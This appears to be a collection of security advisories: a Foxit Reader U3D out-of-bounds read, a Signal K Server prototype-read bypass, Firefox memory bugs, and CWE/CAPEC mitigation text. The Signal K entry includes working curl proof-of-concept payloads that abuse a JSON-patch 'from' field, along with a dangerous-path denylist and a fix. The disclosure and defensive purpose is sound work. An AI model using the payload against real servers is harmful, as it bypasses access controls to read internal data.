Details
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Reader 10.1.1.37576. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of U3D objects embedded in PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated object. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-13244.

Summary
Signal K Server: Arbitrary Prototype Read via `from` Field Bypass
Details
Summary
The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /proto/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.
While this does not allow arbitrary code execution (as the destination path remains protected from proto), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.
Vulnerability Root Cause
File: src/interfaces/applicationData.js (Lines 48-57)
const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']
function isPrototypePollutionPath(pathString) {
const segments = pathString.split(/[./]/)
return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}
function hasPrototypePollutionPatch(patches) {
return patches.some(
// [!VULNERABLE] Only checks patch.path, completely ignores patch.from
(patch) => patch.path && isPrototypePollutionPath(patch.path)
)
}
At Line 201:
if (hasPrototypePollutionPatch(req.body)) {
res.status(400).send('invalid patch path')
return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'
Proof of Concept (PoC)
Verify the Developer Guard Works (The Blocked Payload):
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'
Result: 400 Bad Request - invalid patch path
Execute the Bypass (The Malicious Payload):
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'
Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the proto internal function reference.
Security Impact
This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.
Fixing Arbitrary Prototype Read
The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:
function hasPrototypePollutionPatch(patches) {
return patches.some(
(patch) =>
(patch.path && isPrototypePollutionPath(patch.path)) ||
(patch.from && isPrototypePollutionPath(patch.from))
)
}

Details
Memory safety bugs present in Firefox ESR 140.9, Thunderbird ESR 140.9, Firefox 149 and Thunderbird 149. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.

Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
Mitigation
Architecture and Design
Strategy: Language Selection
Use a language that provides appropriate memory abstractions.
CAPEC-540: Overread Buffers
An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.
